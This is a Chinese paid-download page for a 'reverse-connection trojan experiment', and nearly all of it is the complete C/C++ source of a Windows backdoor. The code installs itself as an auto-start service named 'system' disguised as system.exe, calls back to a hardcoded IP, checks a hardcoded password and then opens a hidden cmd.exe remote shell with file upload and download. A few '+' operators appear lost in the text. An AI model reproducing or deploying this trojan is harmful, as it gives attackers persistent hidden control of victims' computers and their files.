基本信息
源码名称:反弹端口型木马实验
源码大小:3.37M
文件格式:.rar
开发语言:C/C++
更新时间:2018-04-08
友情提示:(无需注册或充值,赞助后即可获取资源下载链接)
嘿,亲!知识可是无价之宝呢,但咱这精心整理的资料也耗费了不少心血呀。小小地破费一下,绝对物超所值哦!如有下载和支付问题,请联系我们QQ(微信同号):813200300
本次赞助数额为: 2 元×
微信扫码支付:2 元
×
请留下您的邮箱,我们将在2小时内将文件发到您的邮箱
源码介绍
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
void WINAPI ServiceMain(DWORD,LPTSTR *);
DWORD WINAPI CmdService(LPVOID);
DWORD WINAPI CmdShell(LPVOID);
void WINAPI ServiceCtrlHandler(DWORD Opcode);
BOOL InstallCmdService();
void DelServices();
int door();
void Usage(void);
VOID WINAPI EXEBackMain (LPVOID s);
SERVICE_STATUS m_ServiceStatus;
SERVICE_STATUS_HANDLE m_ServiceStatusHandle;
BOOL bRunning=true;
BOOL flag=true;
#define PASSSUCCESS "Password success!\n"
#define PASSERROR "Password error.\n"
#define BYEBYE "ByeBye!\n"
#define WSAerron WSAGetLastError()
#define erron GetLastError()
#define PORT 80 //远程的连接端口
#define DEST_IP_ADDR "192.168.181.128"//要连接的远程IP
int main(int argc,char *argv[])
{
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{"system",ServiceMain},//服务程序的名称和入口点(函数)
{NULL ,NULL }//SERVICE_TABLE_ENTRY结构必须以“NULL”结束;
};
if(argc==1) door();
if(argc==2)
{
if(!stricmp(argv[1],"-i"))//如果第二个参数等于-install
{
InstallCmdService();
}
else if(!stricmp(argv[1],"-r"))//比较字符串s1和s2
{
DelServices();
}
else
{
Usage();
}
return 0;
}
StartServiceCtrlDispatcher(DispatchTable);//把入口点的地址传入
return 0;
}
int door ()
{
SOCKET sock=NULL;
struct sockaddr_in sai;
TCHAR UserPass[20]={0}; //用户设置密码缓冲
TCHAR PassBuf[20]={0}; //接收密码缓冲
TCHAR PassBanner[]="Password:";
TCHAR Banner[]="--------- backdoor---------\n";
sai.sin_family=AF_INET;
sai.sin_addr.s_addr=inet_addr(DEST_IP_ADDR);
sai.sin_port=htons(PORT);
//sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
while (TRUE)
{
WSADATA wsadata;
BOOL ThreadFlag=FALSE;
DWORD ThreadID=0;
int nRet=0;
nRet=WSAStartup(MAKEWORD(2,2),&wsadata); //初始化
if (nRet)
{
return 0;
}
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (sock==INVALID_SOCKET)
{
goto Clean;
}
nRet=connect(sock,(struct sockaddr*)&sai,sizeof (struct sockaddr));
Sleep(3000);
if (nRet!=SOCKET_ERROR)
{
nRet=send(sock,Banner,sizeof (Banner),0);
while (TRUE)
{
nRet=send(sock,PassBanner,sizeof (PassBanner),0);
nRet=recv(sock,PassBuf,sizeof (PassBuf)-1,0);
if (strnicmp(PassBuf,"wangrun",strlen("wangrun"))==0)
{
send(sock,PASSSUCCESS,sizeof (PASSSUCCESS),0);
ThreadFlag=TRUE;
break;
}
if (nRet==SOCKET_ERROR)
{
goto Clean;
}
Sleep(100);
}
if (ThreadFlag)
{
CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)EXEBackMain,(LPVOID)sock,0,&ThreadID);
while(flag) {}
flag=true;
}
}
Sleep(1000);
}
Clean:
if (sock!=NULL) closesocket(sock);
WSACleanup();
return 0;
}
void WINAPI ServiceMain(DWORD dwArgc,LPTSTR *lpArgv)
//服务主函数
{
m_ServiceStatus.dwServiceType = SERVICE_WIN32;
m_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
m_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
m_ServiceStatus.dwWin32ExitCode = 0;
m_ServiceStatus.dwServiceSpecificExitCode = 0;
m_ServiceStatus.dwCheckPoint = 0;
m_ServiceStatus.dwWaitHint = 0;
m_ServiceStatusHandle = RegisterServiceCtrlHandler("system",ServiceCtrlHandler);
if (m_ServiceStatusHandle == (SERVICE_STATUS_HANDLE)0)return;
m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
//设置服务状态
m_ServiceStatus.dwCheckPoint = 0;
m_ServiceStatus.dwWaitHint = 0;
//SERVICE_STATUS结构含有七个成员,它们反映服务的现行状态。
//所有这些成员必须在这个结构被传递到SetServiceStatus之前正确的设置
if( SetServiceStatus (m_ServiceStatusHandle, &m_ServiceStatus))
bRunning=true;
door(); //启动服务程序
return;
}
void WINAPI ServiceCtrlHandler(DWORD Opcode)//服务控制函数
{
switch(Opcode)
{
case SERVICE_CONTROL_PAUSE: // we accept the command to pause it
m_ServiceStatus.dwCurrentState = SERVICE_PAUSED;
break;
case SERVICE_CONTROL_CONTINUE:
m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
break;
case SERVICE_CONTROL_STOP:
m_ServiceStatus.dwWin32ExitCode = 0;
m_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
m_ServiceStatus.dwCheckPoint = 0;
m_ServiceStatus.dwWaitHint = 0;
SetServiceStatus (m_ServiceStatusHandle,&m_ServiceStatus);
bRunning=false;
break;
case SERVICE_CONTROL_INTERROGATE:
break;
}
return;
}
BOOL InstallCmdService()//安装服务函数
{
char strDir[1024];
SC_HANDLE schSCManager,schService;
GetCurrentDirectory(1024,strDir);//取当前目录
GetModuleFileName(NULL,strDir,sizeof(strDir));
//取当前文件路径和文件名
char chSysPath[1024];
GetSystemDirectory(chSysPath,sizeof(chSysPath));//取系统目录
strcat(chSysPath,"\\system.exe");
//将scvhost.exe拼接到系统目录
if(CopyFile(strDir,chSysPath,FALSE))printf("Copy file OK\n");
// 把当前服务程序复制到系统根目录为system.exe
strcpy(strDir,chSysPath);
schSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
if (schSCManager == NULL)
{
printf("open scmanger failed,maybe you do not have the privilage to do this\n");
return false;
}
LPCTSTR lpszBinaryPathName=strDir;
schService = CreateService(schSCManager,
"system",
"system", //将服务的信息添加到SCM的数据库
SERVICE_ALL_ACCESS, // desired access
SERVICE_WIN32_OWN_PROCESS, // service type
SERVICE_AUTO_START, // start type
SERVICE_ERROR_NORMAL, // error control type
lpszBinaryPathName, // service's binary
NULL, // no load ordering group
NULL, // no tag identifier
NULL, // no dependencies
NULL, // LocalSystem account
NULL); // no password
if (schService)
printf("Install Service Success!\n");
else
return false;
CloseServiceHandle(schService);
return true;
}
void DelServices()
{
char name[100];
SC_HANDLE scm;
SC_HANDLE service;
SERVICE_STATUS status;
strcpy(name,"system");
if((scm=OpenSCManager(NULL,NULL,SC_MANAGER_CREATE_SERVICE))==NULL)
{
printf("OpenSCManager Error ");
}
service=OpenService(scm,name,SERVICE_ALL_ACCESS|DELETE);
if (!service)
{
printf("OpenService error! ");
return;
}
BOOL isSuccess=QueryServiceStatus(service,&status);
if (!isSuccess)
{
printf("QueryServiceStatus error! ");
return;
}
if ( status.dwCurrentState!=SERVICE_STOPPED )
{
isSuccess=ControlService(service,SERVICE_CONTROL_STOP,&status);
if (!isSuccess )
printf("Stop Service error! ");
Sleep( 500 );
}
isSuccess=DeleteService(service);
if (!isSuccess)
printf("Delete Service Fail!");
else
printf("Delete Service Success! ");
CloseServiceHandle(service );
CloseServiceHandle(scm);
}
VOID WINAPI EXEBackMain (LPVOID s)
//BOOL EXEBackMain (SOCKET sock)
{
SOCKET sock=(SOCKET)s;
STARTUPINFO si;
PROCESS_INFORMATION pi;
HANDLE hRead=NULL,hWrite=NULL;
TCHAR CmdSign[]="\nwr:\\>";
while (TRUE)
{
TCHAR MsgError[50]={0}; //错误消息缓冲
TCHAR Cmdline[300]={0}; //命令行缓冲
TCHAR RecvBuf[1024]={0}; //接收缓冲
TCHAR SendBuf[2048]={0}; //发送缓冲
char *filename;
SECURITY_ATTRIBUTES sa;
DWORD bytesRead=0;
int ret=0,size,i;
FILE *fp;
sa.nLength=sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor=NULL;
sa.bInheritHandle=TRUE;
//创建匿名管道
if (!CreatePipe(&hRead,&hWrite,&sa,0))
{
goto Clean;
}
si.cb=sizeof(STARTUPINFO);
GetStartupInfo(&si);
si.hStdError=hWrite;
si.hStdOutput=hWrite; //进程(cmd)的输出写入管道
si.wShowWindow=SW_HIDE;
si.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
GetSystemDirectory(Cmdline,sizeof (Cmdline)); //获取系统目录
strcat(Cmdline,"\\cmd.exe /c "); //拼接cmd
/*ret=send(sock,CmdSign,sizeof (CmdSign),0); //向目标发送提示符
if (ret==SOCKET_ERROR)
{
goto Clean;
}*/
ret=recv(sock,RecvBuf,sizeof (RecvBuf),0);
//接收目标数据
//如果为exit或quit,就退出
if (strnicmp(RecvBuf,"exit",4)==0||strnicmp(RecvBuf,"quit",4)==0)
{
send(sock,BYEBYE,sizeof (BYEBYE),0);
goto Clean;
}
//upload
if (strnicmp(RecvBuf,"upload",6)==0)
{
filename=RecvBuf 7;
if((fp=fopen(filename,"wb"))==NULL)
{
printf("can't open file \n");
continue;
}
printf("%s is recving ...\n",filename);
recv(sock,(char *)&size,sizeof(size),0);
i=0;
while((ret=recv(sock,RecvBuf,sizeof (RecvBuf),0))>0)
{
i =ret;
fwrite(RecvBuf,ret,1,fp);
memset(RecvBuf,0,sizeof(RecvBuf));
if(i==size)
{
printf("transport successful!\n");
break;
}
}
fclose(fp);
}
//download
if (strnicmp(RecvBuf,"download",8)==0)
{
filename=RecvBuf 9;
if((fp=fopen(filename,"rb"))==NULL)
{
printf("can't open file \n");
continue;
}
printf("%s is sending ...\n",filename);
fseek(fp,0,SEEK_END);
size=ftell(fp);
fseek(fp,0,SEEK_SET);
send(sock,(char *)&size,sizeof(size),0);
while((ret=fread(SendBuf,1,1024,fp))>0)
{
send(sock,SendBuf,ret,0);
memset(SendBuf,0,sizeof(SendBuf));
}
fclose(fp);
printf("transport successful!\n");
}
//表示对方已经断开
if (ret==SOCKET_ERROR)
{
goto Clean;
}
//表示接收数据出错
if (ret<=0)
{
#ifdef DEBUGMSG
sprintf(MsgError,"recv() GetLastError reports %d\n",WSAerron);
send(sock,MsgError,sizeof (MsgError),0);
#endif
continue;
}
Sleep(100);
strncat(Cmdline,RecvBuf,sizeof (RecvBuf));
//拼接一条完整的cmd命令
//创建进程,也就是执行cmd命令
if (!CreateProcess(NULL,Cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi))
{
continue;
}
CloseHandle(hWrite);
while (TRUE)
{
//无限循环读取管道中的数据,直到管道中没有数据为止
if (ReadFile(hRead,SendBuf,sizeof (SendBuf),&bytesRead,NULL)==0)
break;
send(sock,SendBuf,bytesRead,0);
//发送出去
memset(SendBuf,0,sizeof (SendBuf));
//缓冲清零
Sleep(100);
}
}
Clean:
//释放句柄
if (hRead!=NULL)
CloseHandle(hRead);
if (hWrite!=NULL)
CloseHandle(hWrite);
//释放SOCKET
if (sock!=NULL)
closesocket(sock);
flag=false;
WSACleanup();
ExitThread(0);
//return 0;
}
void Usage()
{
fprintf(stderr,"Code by wangrun\n""Usage:%s [-i] [-r] -i: install service; -r: remove service.\n");
}